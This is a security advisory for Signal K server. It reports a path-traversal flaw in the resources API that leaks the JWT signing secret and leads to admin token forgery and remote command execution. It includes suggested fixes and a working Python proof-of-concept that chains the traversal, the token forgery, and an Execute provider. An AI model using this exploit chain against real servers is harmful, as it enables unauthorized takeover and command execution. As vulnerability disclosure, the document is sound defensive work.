Summary
Path traversal in the Signal K resources and applicationData APIs lets an unauthenticated or low-privileged user read, write and delete files outside the storage root. Reading <config>/security.json discloses the JWT signing secret, enabling admin token forgery and remote code execution.
Details
Description
The v2 REST resources API GET /signalk/v2/api/resources/:resourceType/:resourceId passes resourceId to FileStore.getResource() without validation. getResource() builds the file path with path.join(this.resources[type].path, itemUuid) followed by readFile + JSON.parse, so a %2F-encoded multi-level traversal (..%2F..%2F..%2F..%2F) escapes the resource storage directory and returns any JSON file on the server (source: src/api/resources/index.ts:559-600, packages/resources-provider-plugin/src/filestorage.ts:115-125).
Because the JWT signing secret is stored in plaintext in <config>/security.json (generated at src/tokensecurity.ts:271, persisted via saveSecurityConfig at src/security.ts:377), an unauthenticated attacker on deployments with allowreadonly=true (a supported, UI-toggleable configuration granting anonymous read access) can:
1. Read <config>/security.json — disclosing the JWT signing secret (512-hex) and user password hashes. 2. Forge an admin JWT — HS256-sign {"id":"admin"} with the disclosed secret; accepted by /skServer/loginStatus (userLevel: "admin") and all admin-protected endpoints (adminAuthenticationMiddleware, src/tokensecurity.ts:593, applied at src/tokensecurity.ts:953). 3. Gain remote code execution — POST /skServer/providers (admin) accepts a provider of type Execute; packages/streams/src/execute.ts:93 executes it via spawn('sh', ['-c', command]) at creation time. The provider persists to settings.json and survives restarts.
On default deployments (allowreadonly=false), step 1 returns 401 to anonymous users but succeeds with any readonly user token.
Suggested fixes
1. Validate resourceId against a strict whitelist (for example, UUID format) in src/api/resources/index.ts before any storage call, including PUT/DELETE. 2. In FileStore.getResource/setResource/deleteResource, canonicalise with path.resolve() and reject results outside this.resources[type].path. 3. Store the JWT signing secret outside the API-readable config directory, in a dedicated key file with mode 0600. 4. Consider gating provider types that execute commands (Execute) behind an explicit opt-in.
Proof of concept
Fully local testbed. Start the server, enable allowreadonly=true, then run:
python #!/usr/bin/env python3 import base64, hashlib, hmac, json, time, urllib.request BASE = "http://127.0.0.1:3000" CMD = "id > /tmp/sk-pwned"
1) unauthenticated traversal read of security.json p = "/signalk/v2/api/resources/notes/..%2F..%2F..%2F..%2Fsecurity.json" sk = json.load(urllib.request.urlopen(BASE + p))["secretKey"]
2) forge admin JWT b64 = lambda b: base64.urlsafeb64encode(b).rstrip(b"=").decode() h = b64(json.dumps({"alg":"HS256","typ":"JWT"}).encode()) c = b64(json.dumps({"id":"admin","iat":int(time.time())}).encode()) tok = h+"."+c+"."+b64(hmac.new(sk.encode(), (h+"."+c).encode(), hashlib.sha256).digest()) req = urllib.request.Request(BASE+"/skServer/loginStatus", headers={"Authorization":"JWT "+tok}) assert json.load(urllib.request.urlopen(req))["userLevel"] == "admin"
3) add an Execute provider -> spawn('sh','-c',CMD) prov = {"id":"poc-rce","enabled":True,"logging":False,"type":"Execute", "options":{"type":"ws","dataType":"SignalK","command":CMD}} req = urllib.request.Request(BASE+"/skServer/providers", data=json.dumps(prov).encode(), headers={"Authorization":"JWT "+tok,"Content-Type":"application/json"}, method="POST") print(urllib.request.urlopen(req).read()) # provider created; /tmp/sk-pwned now exists
Reproduction verified independently on master 340d5bb6 (Node 22 / macOS), including restart persistence. PoC artifacts are available on request.
Impact
Unauthenticated access (with allowreadonly=true) leads to full compromise of the server process: arbitrary JSON file read, admin takeover, arbitrary command execution with server privileges, and persistent re-execution after restart. All signalk-server releases and all published versions of the bundled/standalone resources-provider prior to 2.34.0 are affected with the patched version as 2.34.0 fix